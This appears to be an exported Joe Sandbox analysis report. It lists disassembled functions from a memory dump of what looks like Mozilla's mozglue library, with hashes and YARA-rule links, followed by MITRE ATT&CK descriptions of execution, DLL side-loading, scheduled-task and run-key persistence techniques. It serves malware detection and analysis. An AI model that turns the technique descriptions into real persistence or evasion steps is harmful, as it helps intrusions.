Opcode ID: 4b8689ee3b469a68bd58b76b07614a88212d167ebe001244777d6257e9364bc9
Instruction ID: 6f385ffb2bcfe8479ab6bf790c7196105e6d4221c6041eec6df9af1dfdae84b3
Opcode Fuzzy Hash: 4b8689ee3b469a68bd58b76b07614a88212d167ebe001244777d6257e9364bc9
Instruction Fuzzy Hash: 17F082715003097BD704AB54DC81DAB376DEB46628F044020FD0817700D635BE5A86F7

Function 6CA920B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA920B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CA7FBD1), ref: 6CA920C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CA7FBD1), ref: 6CA920DA
free.MOZGLUE(00000000,?,6CA7FBD1), ref: 6CA920F1

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 4c35ad3e60390f6c1fa3cea4f67d7e79942e443079a065b9eba4a637d866f394
Instruction ID: 5d4e2e0aefd8a70cf40b2164efa81c8eefa8244414ea4c824345b844aa1a23fa
Opcode Fuzzy Hash: 4c35ad3e60390f6c1fa3cea4f67d7e79942e443079a065b9eba4a637d866f394
Instruction Fuzzy Hash: 81E0E5316007158BC7209F25A80968EB7F9EF86314B14032AE40683B00DB76AA8A8BD5

Function 6CA985B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA985D3

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA98725

Strings

map/set<T> too long, xrefs: 6CA98720

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 5a22fb03fcc53c7a157aa0b2791b37d73fa13771648cde35b9ceaac060d9565a
Instruction ID: 8787309e67e5a6975ea850c8feedb9b061798d1022f71a00db23506e5993791f
Opcode Fuzzy Hash: 5a22fb03fcc53c7a157aa0b2791b37d73fa13771648cde35b9ceaac060d9565a
Instruction Fuzzy Hash: E65164B46106818FD701CF18C184A9ABBF1BF4A318F18C29AD9599FB52C735E885CF92

Function 6CA4BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA4BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA4BE8F

Strings

0, xrefs: 6CA4BE5B

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: a2db1e25707b7e10a82e7e9ea375b5fb726869606359bc709aa906562b4381b3
Instruction ID: cda1b9490b2be957d3d79b616440e323b633e511d0d3e96aae1ed772a8f7509f
Opcode Fuzzy Hash: a2db1e25707b7e10a82e7e9ea375b5fb726869606359bc709aa906562b4381b3
Instruction Fuzzy Hash: 9B418C71909B45CFC711CF28D481A9FB7F4AF8A348F008B5DF985AB611E73099898B82

Function 6CA83CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA83D19
mozalloc_abort.MOZGLUE(?), ref: 6CA83D6C

Strings

d, xrefs: 6CA83D58

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2ac4b899a05d7c3fce2567b397da6bb6c3fc4cb51b50e9cd38ac6f55831e3cf1
Instruction ID: 9879d0262bf5d830a26f699872181b95c188fa26f17a38764d35ad9701854bbf
Opcode Fuzzy Hash: 2ac4b899a05d7c3fce2567b397da6bb6c3fc4cb51b50e9cd38ac6f55831e3cf1
Instruction Fuzzy Hash: E9110435E067899BDF089B69C8144EDB775EF86218B48C718DC859B612FB30A5C9C390

Function 6CA54730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA544B2,6CACE21C,6CACF7F8), ref: 6CA5473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA5474A

Strings

GetNtLoaderAPI, xrefs: 6CA54744

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 64547eb6bedb99b7103ac18e2c0b87836607aea1b01a593d496acf04b43d9a92
Instruction ID: 66db61700ed7377a7d0947feaa00233da0b798e33bed5142a403b34de92874a1
Opcode Fuzzy Hash: 64547eb6bedb99b7103ac18e2c0b87836607aea1b01a593d496acf04b43d9a92
Instruction Fuzzy Hash: 0F0152B93013559FDF089F69888861D7BB9EB4B311B08C469E905C7700DB74E9128F91

Function 6CAA6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAA6E22
__Init_thread_footer.LIBCMT ref: 6CAA6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAA6E1D

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2e7d0b81485671144599cd308e6b3531bbc586a4e056cd972c35d69e07c9d594
Instruction ID: 452d4e1c716fdc5cc90d8ffddfbdb0edaa9adb4ac1cc8909327145f0a8755f38
Opcode Fuzzy Hash: 2e7d0b81485671144599cd308e6b3531bbc586a4e056cd972c35d69e07c9d594
Instruction Fuzzy Hash: 02F02E353443C28FDA248BACCD60AD13372A343218F084169CC1187BA1D721BA8FCEA3

Function 6CA59E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA59EEF

Strings

NaN, xrefs: 6CA59EC1
Infinity, xrefs: 6CA59EB7

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 8738c61c9fc2c4ea987eba19648d8b6805854c5f3d46e95db6dbf8aea20beb8d
Instruction ID: 9cb7b2e4bc897f1552e7b1f885dbdbe2bf6bf410045bc9d2522a4264f878432a
Opcode Fuzzy Hash: 8738c61c9fc2c4ea987eba19648d8b6805854c5f3d46e95db6dbf8aea20beb8d
Instruction Fuzzy Hash: 64F03CB5700746CEDA068B6CED457903371B74732EF24CA1DD9440AB40D735AADB8A92

Function 6CA5BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA5BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA5BEF5

Strings

cryptbase.dll, xrefs: 6CA5BEF0

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 1fe148ab6d9dac452b878a3a55946379257d291a2929d64166b3b314cc988180
Instruction ID: 47dd5648cd6e8e4c08f390683754e8c5f3325ba080b177e3aebb8d8cf1ede092
Opcode Fuzzy Hash: 1fe148ab6d9dac452b878a3a55946379257d291a2929d64166b3b314cc988180
Instruction Fuzzy Hash: 10D023313C0308EFC7046B50AC05F253774A701B17F54C120F70544851C7B195A1CF55

Function 6CA450E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA44E9C,?,?,?,?,?), ref: 6CA4510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA44E9C,?,?,?,?,?), ref: 6CA45167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA45196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA44E9C), ref: 6CA45234

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 03d34c1b7a2039a6eba5ca51bbac2ead1216350b39b4b446cee62e6eabcda349
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 1C919D75505656CFCB14CF0CC490A5ABBA2BF89318B28C589EC589B715D371FC86CBE0

Function 6CA808F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE7DC), ref: 6CA80918
LeaveCriticalSection.KERNEL32(6CACE7DC), ref: 6CA809A6
EnterCriticalSection.KERNEL32(6CACE7DC,?,00000000), ref: 6CA809F3
LeaveCriticalSection.KERNEL32(6CACE7DC), ref: 6CA80ACB

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4e581eb46b5da60915226ba00e3809ce7f91e5c26f81cf963676d377e10e52c5
Instruction ID: 598391a0935e79f26349cbace97399910e0c58973c633778bb895d31d6b27866
Opcode Fuzzy Hash: 4e581eb46b5da60915226ba00e3809ce7f91e5c26f81cf963676d377e10e52c5
Instruction Fuzzy Hash: B3517B36703795CFEB0C9A58C44462673B5FB82B24B28823ADD6597F80CB30E9D287D0

Function 6CA9B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA9B2C9,?,?,?,6CA9B127,?,?,?,?,?,?,?,?,?,6CA9AE52), ref: 6CA9B628

Part of subcall function 6CA990E0: free.MOZGLUE(?,00000000,?,?,6CA9DEDB), ref: 6CA990FF
Part of subcall function 6CA990E0: free.MOZGLUE(?,00000000,?,?,6CA9DEDB), ref: 6CA99108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA9B2C9,?,?,?,6CA9B127,?,?,?,?,?,?,?,?,?,6CA9AE52), ref: 6CA9B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA9B2C9,?,?,?,6CA9B127,?,?,?,?,?,?,?,?,?,6CA9AE52), ref: 6CA9B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA9B127,?,?,?,?,?,?,?,?), ref: 6CA9B74D

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c74497a25ccc8fd3f3e6658e7e1256e53f0f767797392d4f2e91e944a19c0df6
Instruction ID: cf09f08e8532dfe597e1a4449edfdf885dfcd5a14294e06cf0c2e0b4a9248bcd
Opcode Fuzzy Hash: c74497a25ccc8fd3f3e6658e7e1256e53f0f767797392d4f2e91e944a19c0df6
Instruction Fuzzy Hash: 0651CF71A123168FDB24CF58E98169EB7F5FF45704F098629C95AAB700D731A884CBA1

Function 6CA9DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA8FF2A), ref: 6CA9DFFD

Part of subcall function 6CA990E0: free.MOZGLUE(?,00000000,?,?,6CA9DEDB), ref: 6CA990FF
Part of subcall function 6CA990E0: free.MOZGLUE(?,00000000,?,?,6CA9DEDB), ref: 6CA99108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA8FF2A), ref: 6CA9E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA8FF2A), ref: 6CA9E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CA8FF2A), ref: 6CA9E0FE

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0f1f2067ec85bdcc62ff1ae1d8fddbbac1ad4d2d620ef867c469d4c4972fde32
Instruction ID: a58d76e91140a176d2f69cd2aa2d90f81948f34882a548a071be72f613f2d322
Opcode Fuzzy Hash: 0f1f2067ec85bdcc62ff1ae1d8fddbbac1ad4d2d620ef867c469d4c4972fde32
Instruction Fuzzy Hash: D04102B1650216CFEB14CF68D88235A73F2BB45308F284939C516DB741E732E985CB92

Function 6CA96E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CA96EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CA96EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA96F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA96F5C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 804cade7fa8a3ff9d884680fad6cec0a54073ddf9acf61b2138b4f44ebeb6c58
Instruction ID: 38eeaabad7dc8d5b4ab1e39f6d0c0146d7c2bd109ffbad726e2be8ec805c1f0f
Opcode Fuzzy Hash: 804cade7fa8a3ff9d884680fad6cec0a54073ddf9acf61b2138b4f44ebeb6c58
Instruction Fuzzy Hash: C331E571A2060A8FDB44CF2CC9816AA73F9EF84344F548139D41AD7751EB31E699C7D0

Function 6CAAB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA50A4D), ref: 6CAAB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA50A4D), ref: 6CAAB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA50A4D), ref: 6CAAB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA50A4D), ref: 6CAAB67F

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: b6c93ba2b207f8697dfafa33ef9605b6e77c2a60f14eeae0ff68f9ffdf291023
Instruction ID: 8ccda751a8bcc4f64cd66e80927e08d4a9597fa895c062b881babee5a94219f0
Opcode Fuzzy Hash: b6c93ba2b207f8697dfafa33ef9605b6e77c2a60f14eeae0ff68f9ffdf291023
Instruction Fuzzy Hash: 2031E871A0121A8FDB14CF99D84469AB7F6FF81304F1AC669C806AB311DB31E956CBE1

Function 6CA7F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA7F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA7F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7F668

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 62c02003ba4e22622a88884888000d519c1307755de42e8342ce24114447f500
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: A9313075A002149FC724CF5DCDD0E9AB7B9FF84358B18853DEA498BB04D631E9848BA0

Function 6CA926B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA926C1
free.MOZGLUE(?), ref: 6CA926E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA926FF
free.MOZGLUE ref: 6CA9270D

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b39ac36cdc59ed54a31ff41c69766ae117e670afd21d217e69183730e9ae41e1
Instruction ID: 6be59ea07df8567807d749da2c49dd3743f3eba983a711c5496d58cf1c170d20
Opcode Fuzzy Hash: b39ac36cdc59ed54a31ff41c69766ae117e670afd21d217e69183730e9ae41e1
Instruction Fuzzy Hash: 12F0A9B27012015BEB009E19D88599773F9FF5125CB544135EB16D3F02E731F999C691

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

